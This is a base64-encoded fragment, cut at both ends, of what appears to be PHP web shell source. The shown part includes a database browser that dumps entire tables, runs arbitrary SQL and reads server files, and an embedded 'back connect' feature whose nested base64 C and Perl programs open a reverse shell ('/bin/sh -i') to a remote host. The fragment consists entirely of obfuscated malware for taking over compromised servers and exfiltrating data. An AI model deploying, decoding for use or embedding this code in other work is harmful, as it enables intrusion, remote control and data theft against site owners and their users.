XBsb2RlKCJcbiIsJHIpKTsNCgkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBkdW1wKCR0YWJsZSwgJGZwID0gZmFsc2UpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJJHJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxlLidgJyk7DQoJCQkJCSRjcmVhdGUgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzKTsNCgkJCQkJJHNxbCA9ICRjcmVhdGVbMV0uIjtcbiI7DQogICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsNCgkJCQkJJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpOw0KICAgICAgICAgICAgICAgICAgICAkaSA9IDA7DQogICAgICAgICAgICAgICAgICAgICRoZWFkID0gdHJ1ZTsNCgkJCQkJd2hpbGUoJOKWnyA9ICR0aGlzLT5mZXRjaCgpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkaSAlIDEwMDAgPT0gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIjtcblxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCgkJCQkJCSRjb2x1bW5zID0gYXJyYXkoKTsNCgkJCQkJCWZvcmVhY2goJOKWnyBhcyAkaz0+JHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdiA9PT0gbnVsbCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJOKWn1ska10gPSAiTlVMTCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKGlzX2ludCgkdikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICTilp9bJGtdID0gJHY7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAk4pafWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7DQoJCQkJCQkJJGNvbHVtbnNbXSA9ICJgIi4kay4iYCI7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkaGVhZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4iKSBWQUxVRVMgXG5cdCgiLmltcGxvZGUoIiwgIiwgJOKWnykuJyknOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkID0gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsIC49ICJcblx0LCgiLmltcGxvZGUoIiwgIiwgJOKWnykuJyknOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGkrKzsNCgkJCQkJfQ0KICAgICAgICAgICAgICAgICAgICBpZighJGhlYWQpDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICI7XG5cbiIpOyBlbHNlIGVjaG8oIjtcblxuIik7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQkkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpOw0KCQkJCQl3aGlsZSgk4pafID0gJHRoaXMtPmZldGNoKCkpIHsNCgkJCQkJCSRjb2x1bW5zID0gYXJyYXkoKTsNCgkJCQkJCWZvcmVhY2goJOKWnyBhcyAkaz0+JHYpIHsNCgkJCQkJCQkk4pafWyRrXSA9ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7DQoJCQkJCQkJJGNvbHVtbnNbXSA9ICRrOw0KCQkJCQkJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLicpIFZBTFVFUyAoJy5pbXBsb2RlKCIsICIsICTilp8pLicpOycuIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsNCgkJCQkJfQ0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJfTsNCgkkZGIgPSBuZXcgRGJDbGFzcygkX1BPU1RbJ3R5cGUnXSk7DQoJaWYoKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpICYmIChAJF9QT1NUWydwMSddIT0nc2VsZWN0JykpIHsNCgkJJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pOw0KCQkkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7DQogICAgICAgIHN3aXRjaCgkX1BPU1RbJ2NoYXJzZXQnXSkgew0KICAgICAgICAgICAgY2FzZSAiV2luZG93cy0xMjUxIjogJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJLT0k4LVUiOiAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiY3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOw0KICAgICAgICB9DQogICAgICAgIGlmKGVtcHR5KCRfUE9TVFsnZmlsZSddKSkgew0KICAgICAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOw0KICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1kdW1wLnNxbCIpOw0KICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvcGxhaW4iKTsNCiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikNCgkJCQkkZGItPmR1bXAoJHYpOw0KICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgfSBlbHNlaWYoJGZwID0gQGZvcGVuKCRfUE9TVFsnZmlsZSddLCAndycpKSB7DQogICAgICAgICAgICBmb3JlYWNoKCRfUE9TVFsndGJsJ10gYXMgJHYpDQogICAgICAgICAgICAgICAgJGRiLT5kdW1wKCR2LCAkZnApOw0KICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICB1bnNldCgkX1BPU1RbJ3AyJ10pOw0KICAgICAgICB9IGVsc2UNCiAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5hbGVydCgiRXJyb3IhIENhblwndCBvcGVuIGZpbGUiKTt3aW5kb3cuaGlzdG9yeS5iYWNrKC0xKTwvc2NyaXB0PicpOw0KCX0NCgloYXJkSGVhZGVyKCk7DQoJZWNobyAiDQo8aDE+U3FsIGJyb3dzZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4NCjxmb3JtIG5hbWU9J3NmJyBtZXRob2Q9J3Bvc3QnIG9uc3VibWl0PSdmcyh0aGlzKTsnPjx0YWJsZSBjZWxscGFkZGluZz0nMicgY2VsbHNwYWNpbmc9JzAnPjx0cj4NCjx0ZD5UeXBlPC90ZD48dGQ+SG9zdDwvdGQ+PHRkPkxvZ2luPC90ZD48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD5EYXRhYmFzZTwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1uZSB2YWx1ZT0nJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPVNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ncXVlcnknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyIHZhbHVlPScnPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykgLiInPg0KPHRkPjxsYWJlbD48c2VsZWN0IG5hbWU9J3R5cGUnPjxvcHRpb24gdmFsdWU9J215c3FsJyAiOw0KICAgIGlmKEAkX1BPU1RbJ3R5cGUnXT09J215c3FsJyllY2hvICdzZWxlY3RlZCc7DQplY2hvICI+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdwZ3NxbCcgIjsNCmlmKEAkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJyllY2hvICdzZWxlY3RlZCc7DQplY2hvICI+UG9zdGdyZVNxbDwvb3B0aW9uPjwvc2VsZWN0PjwvbGFiZWw+PC90ZD4NCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2hvc3QgdmFsdWU9XCIiLiAoZW1wdHkoJF9QT1NUWydzcWxfaG9zdCddKT8nbG9jYWxob3N0JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2hvc3QnXSkpIC4iXCI+PC90ZD4NCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2xvZ2luIHZhbHVlPVwiIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2xvZ2luJ10pPydyb290JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2xvZ2luJ10pKSAuIlwiPjwvdGQ+DQo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9wYXNzIHZhbHVlPVwiIi4gKGVtcHR5KCRfUE9TVFsnc3FsX3Bhc3MnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9wYXNzJ10pKSAuIlwiIHJlcXVpcmVkPjwvdGQ+PHRkPiI7DQoJJHRtcCA9ICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2Jhc2UgdmFsdWU9Jyc+IjsNCglpZihpc3NldCgkX1BPU1RbJ3NxbF9ob3N0J10pKXsNCgkJaWYoJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pKSB7DQoJCQlzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pIHsNCgkJCQljYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVhazsNCgkJCQljYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsNCgkJCQljYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOw0KCQkJCWNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7DQoJCQkJY2FzZSAiY3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOw0KCQkJfQ0KCQkJJGRiLT5saXN0RGJzKCk7DQoJCQllY2hvICI8bGFiZWw+PHNlbGVjdCBuYW1lPXNxbF9iYXNlPjxvcHRpb24gdmFsdWU9Jyc+PC9vcHRpb24+IjsNCgkJCXdoaWxlKCTilp8gPSAkZGItPmZldGNoKCkpIHsNCgkJCQlsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCTilp8pOw0KCQkJCWVjaG8gJzxvcHRpb24gdmFsdWU9IicuJHZhbHVlLiciICcuKCR2YWx1ZT09JF9QT1NUWydzcWxfYmFzZSddPydzZWxlY3RlZCc6JycpLic+Jy4kdmFsdWUuJzwvb3B0aW9uPic7DQoJCQl9DQoJCQllY2hvICc8L3NlbGVjdD48L2xhYmVsPic7DQoJCX0NCgkJZWxzZSBlY2hvICR0bXA7DQoJfWVsc2UNCgkJZWNobyAkdG1wOw0KCWVjaG8gIjwvdGQ+DQoJCQkJPHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nc3VibWl0JyBvbmNsaWNrPSdmcyhkLnNmKTsnPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c3FsX2NvdW50IHZhbHVlPSdvbiciIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycnOicgY2hlY2tlZCcpIC4gIj4gY291bnQgdGhlIG51bWJlciBvZiByb3dzPC90ZD4NCgkJCTwvdHI+DQoJCTwvdGFibGU+DQoJCTxzY3JpcHQ+DQogICAgICAgICAgICBzX2RiPSciLkBhZGRzbGFzaGVzKCRfUE9TVFsnc3FsX2Jhc2UnXSkuIic7DQogICAgICAgICAgICBmdW5jdGlvbiBmcyhmKSB7DQogICAgICAgICAgICAgICAgaWYoZi5zcWxfYmFzZS52YWx1ZSE9c19kYikgeyBmLm9uc3VibWl0ID0gZnVuY3Rpb24oKSB7fTsNCiAgICAgICAgICAgICAgICAgICAgaWYoZi5wMSkgZi5wMS52YWx1ZT0nJzsNCiAgICAgICAgICAgICAgICAgICAgaWYoZi5wMikgZi5wMi52YWx1ZT0nJzsNCiAgICAgICAgICAgICAgICAgICAgaWYoZi5wMykgZi5wMy52YWx1ZT0nJzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoJCQlmdW5jdGlvbiBzdCh0LGwpIHsNCgkJCQlkLnNmLnAxLnZhbHVlID0gJ3NlbGVjdCc7DQoJCQkJZC5zZi5wMi52YWx1ZSA9IHQ7DQogICAgICAgICAgICAgICAgaWYobCAmJiBkLnNmLnAzKSBkLnNmLnAzLnZhbHVlID0gbDsNCgkJCQlkLnNmLnN1Ym1pdCgpOw0KCQkJfQ0KCQkJZnVuY3Rpb24gaXMoKSB7DQoJCQkJZm9yKGk9MDtpPGQuc2YuZWxlbWVudHNbJ3RibFtdJ10ubGVuZ3RoOysraSkNCgkJCQkJZC5zZi5lbGVtZW50c1sndGJsW10nXVtpXS5jaGVja2VkID0gIWQuc2YuZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZDsNCgkJCX0NCgkJPC9zY3JpcHQ+IjsNCglpZihpc3NldCgkZGIpICYmICRkYi0+bGluayl7DQoJCWVjaG8gIjxici8+PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MiBjZWxsc3BhY2luZz0wPiI7DQoJCQlpZighZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSl7DQoJCQkJJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOw0KCQkJCWVjaG8gIjx0cj48dGQgd2lkdGg9MSBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPjxzcGFuPlRhYmxlczo8L3NwYW4+PGJyPjxicj4iOw0KCQkJCSR0YmxzX3JlcyA9ICRkYi0+bGlzdFRhYmxlcygpOw0KCQkJCXdoaWxlKCTilp8gPSAkZGItPmZldGNoKCR0YmxzX3JlcykpIHsNCgkJCQkJbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgk4pafKTsNCiAgICAgICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJG4gPSAkZGItPmZldGNoKCRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gJy4kdmFsdWUuJycpKTsNCgkJCQkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpOw0KCQkJCQllY2hvICI8bm9icj48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIi4kdmFsdWUuIic+Jm5ic3A7PGEgaHJlZj0jIG9uY2xpY2s9XCJzdCgnIi4kdmFsdWUuIicsMSlcIj4iLiR2YWx1ZS4iPC9hPiIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/JyZuYnNwOyc6IiA8c21hbGw+KHskblsnbiddfSk8L3NtYWxsPiIpIC4gIjwvbm9icj48YnI+IjsNCgkJCQl9DQoJCQkJZWNobyAiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdpcygpOyc+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9jdW1lbnQuc2YucDIudmFsdWU9XCJkb3dubG9hZFwiO2RvY3VtZW50LnNmLnN1Ym1pdCgpOyc+PGJyPkZpbGUgcGF0aDo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZmlsZSB2YWx1ZT0nZHVtcC5zcWwnPjwvdGQ+PHRkIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+IjsNCgkJCQlpZihAJF9QT1NUWydwMSddID09ICdzZWxlY3QnKSB7DQoJCQkJCSRfUE9TVFsncDEnXSA9ICdxdWVyeSc7DQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXSA9ICRfUE9TVFsncDMnXT8kX1BPU1RbJ3AzJ106MTsNCgkJCQkJJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnIC4gJF9QT1NUWydwMiddKTsNCgkJCQkJJG51bSA9ICRkYi0+ZmV0Y2goKTsNCgkJCQkJJHBhZ2VzID0gY2VpbCgkbnVtWyduJ10gLyAzMCk7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzY3JpcHQ+ZC5zZi5vbnN1Ym1pdD1mdW5jdGlvbigpe3N0KFwiIiAuICRfUE9TVFsncDInXSAuICJcIiwgZC5zZi5wMy52YWx1ZSl9PC9zY3JpcHQ+PHNwYW4+Ii4kX1BPU1RbJ3AyJ10uIjwvc3Bhbj4gKHskbnVtWyduJ119IHJlY29yZHMpIFBhZ2UgIyA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J3AzJyB2YWx1ZT0iIC4gKChpbnQpJF9QT1NUWydwMyddKSAuICI+IjsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiIG9mICRwYWdlcyI7DQogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDMnXSA+IDEpDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgPGEgaHJlZj0jIG9uY2xpY2s9J3N0KFwiIiAuICRfUE9TVFsncDInXSAuICciLCAnIC4gKCRfUE9TVFsncDMnXS0xKSAuICIpJz4mbHQ7IFByZXY8L2E+IjsNCiAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWydwMyddIDwgJHBhZ2VzKQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIDxhIGhyZWY9IyBvbmNsaWNrPSdzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3AzJ10rMSkgLiAiKSc+TmV4dCAmZ3Q7PC9hPiI7DQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXS0tOw0KCQkJCQlpZigkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJykNCgkJCQkJCSRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9QT1NUWydwMiddLicgTElNSVQgMzAgT0ZGU0VUICcuKCRfUE9TVFsncDMnXSozMCk7DQoJCQkJCWVsc2UNCgkJCQkJCSRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncDInXS4nYCBMSU1JVCAnLigkX1BPU1RbJ3AzJ10qMzApLicsMzAnOw0KCQkJCQllY2hvICI8YnI+PGJyPiI7DQoJCQkJfQ0KCQkJCWlmKChAJF9QT1NUWydwMSddID09ICdxdWVyeScpICYmICFlbXB0eSgkX1BPU1RbJ3AyJ10pKSB7DQoJCQkJCSRkYi0+cXVlcnkoQCRfUE9TVFsncDInXSk7DQoJCQkJCWlmKCRkYi0+cmVzICE9PSBmYWxzZSkgew0KCQkJCQkJJHRpdGxlID0gZmFsc2U7DQoJCQkJCQllY2hvICc8dGFibGUgd2lkdGg9MTAwJSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTIgY2xhc3M9bWFpbj4nOw0KCQkJCQkJJGxpbmUgPSAxOw0KCQkJCQkJd2hpbGUoJOKWnyA9ICRkYi0+ZmV0Y2goKSkJew0KCQkJCQkJCWlmKCEkdGl0bGUpCXsNCgkJCQkJCQkJZWNobyAnPHRyPic7DQoJCQkJCQkJCWZvcmVhY2goJOKWnyBhcyAka2V5ID0+ICR2YWx1ZSkNCgkJCQkJCQkJCWVjaG8gJzx0aD4nLiRrZXkuJzwvdGg+JzsNCgkJCQkJCQkJcmVzZXQoJOKWnyk7DQoJCQkJCQkJCSR0aXRsZT10cnVlOw0KCQkJCQkJCQllY2hvICc8L3RyPjx0cj4nOw0KCQkJCQkJCQkkbGluZSA9IDI7DQoJCQkJCQkJfQ0KCQkJCQkJCWVjaG8gJzx0ciBjbGFzcz0ibCcuJGxpbmUuJyI+JzsNCgkJCQkJCQkkbGluZSA9ICRsaW5lPT0xPzI6MTsNCgkJCQkJCQlmb3JlYWNoKCTilp8gYXMgJGtleSA9PiAkdmFsdWUpIHsNCgkJCQkJCQkJaWYoJHZhbHVlID09IG51bGwpDQoJCQkJCQkJCQllY2hvICc8dGQ+PGk+bnVsbDwvaT48L3RkPic7DQoJCQkJCQkJCWVsc2UNCgkJCQkJCQkJCWVjaG8gJzx0ZD4nLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKSkuJzwvdGQ+JzsNCgkJCQkJCQl9DQoJCQkJCQkJZWNobyAnPC90cj4nOw0KCQkJCQkJfQ0KCQkJCQkJZWNobyAnPC90YWJsZT4nOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJZWNobyAnPGRpdj48Yj5FcnJvcjo8L2I+ICcuaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpLic8L2Rpdj4nOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWVjaG8gIjxicj48L2Zvcm0+PGZvcm0gb25zdWJtaXQ9J2Quc2YucDEudmFsdWU9XCJxdWVyeVwiO2Quc2YucDIudmFsdWU9dGhpcy5xdWVyeS52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48dGV4dGFyZWEgbmFtZT0ncXVlcnknIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoxMDBweCc+IjsNCiAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMSddICE9ICdsb2FkZmlsZScpKQ0KICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMiddKTsNCiAgICAgICAgICAgICAgICBlY2hvICI8L3RleHRhcmVhPjxici8+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFeGVjdXRlJz4iOw0KCQkJCWVjaG8gIjwvdGQ+PC90cj4iOw0KCQkJfQ0KCQkJZWNobyAiPC90YWJsZT48L2Zvcm0+PGJyLz4iOw0KICAgICAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ109PSdteXNxbCcpIHsNCiAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KCJTRUxFQ1QgMSBGUk9NIG15c3FsLnVzZXIgV0hFUkUgY29uY2F0KGB1c2VyYCwgJ0AnLCBgaG9zdGApID0gVVNFUigpIEFORCBgRmlsZV9wcml2YCA9ICd5JyIpOw0KICAgICAgICAgICAgICAgIGlmKCRkYi0+ZmV0Y2goKSkNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvcm0gb25zdWJtaXQ9J2Quc2YucDEudmFsdWU9XCJsb2FkZmlsZVwiO2RvY3VtZW50LnNmLnAyLnZhbHVlPXRoaXMuZi52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj5Mb2FkIGZpbGU8L3NwYW4+IDxpbnB1dCAgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nc3VibWl0Jz48L2Zvcm0+IjsNCiAgICAgICAgICAgIH0NCgkJCWlmKEAkX1BPU1RbJ3AxJ10gPT0gJ2xvYWRmaWxlJykgew0KCQkJCSRmaWxlID0gJGRiLT5sb2FkRmlsZSgkX1BPU1RbJ3AyJ10pOw0KCQkJCWVjaG8gJzxici8+PHByZSBjbGFzcz1tbDE+Jy5odG1sc3BlY2lhbGNoYXJzKCRmaWxlWydmaWxlJ10pLic8L3ByZT4nOw0KCQkJfQ0KCX0gZWxzZSB7DQogICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpOw0KICAgIH0NCgllY2hvICc8L2Rpdj4nOw0KCWhhcmRGb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvbk5ldHdvcmsoKSB7DQoJaGFyZEhlYWRlcigpOw0KCSRiYWNrX2Nvbm5lY3RfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZENCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcElIc05DaUFnSUNCcGJuUWdabVE3RFFvZ0lDQWdjM1J5ZFdOMElITnZZMnRoWkdSeVgybHVJSE5wYmpzTkNpQWdJQ0JrWVdWdGIyNG9NU3d3S1RzTkNpQWdJQ0J6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nSUNBZ2MybHVMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW9ZWFJ2YVNoaGNtZDJXekpkS1NrN0RRb2dJQ0FnYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc05DaUFnSUNCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc05DaUFnSUNCcFppQW9LR052Ym01bFkzUW9abVFzSUNoemRISjFZM1FnYzI5amEyRmtaSElnS2lrZ0puTnBiaXdnYzJsNlpXOW1LSE4wY25WamRDQnpiMk5yWVdSa2Npa3BLVHd3S1NCN0RRb2dJQ0FnSUNBZ0lIQmxjbkp2Y2lnaVEyOXVibVZqZENCbVlXbHNJaWs3RFFvZ0lDQWdJQ0FnSUhKbGRIVnliaUF3T3cwS0lDQWdJSDBOQ2lBZ0lDQmtkWEF5S0daa0xDQXdLVHNOQ2lBZ0lDQmtkWEF5S0daa0xDQXhLVHNOQ2lBZ0lDQmtkWEF5S0daa0xDQXlLVHNOQ2lBZ0lDQnplWE4wWlcwb0lpOWlhVzR2YzJnZ0xXa2lLVHNOQ2lBZ0lDQmpiRzl6WlNobVpDazdEUXA5IjsNCgkkYmFja19jb25uZWN0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVF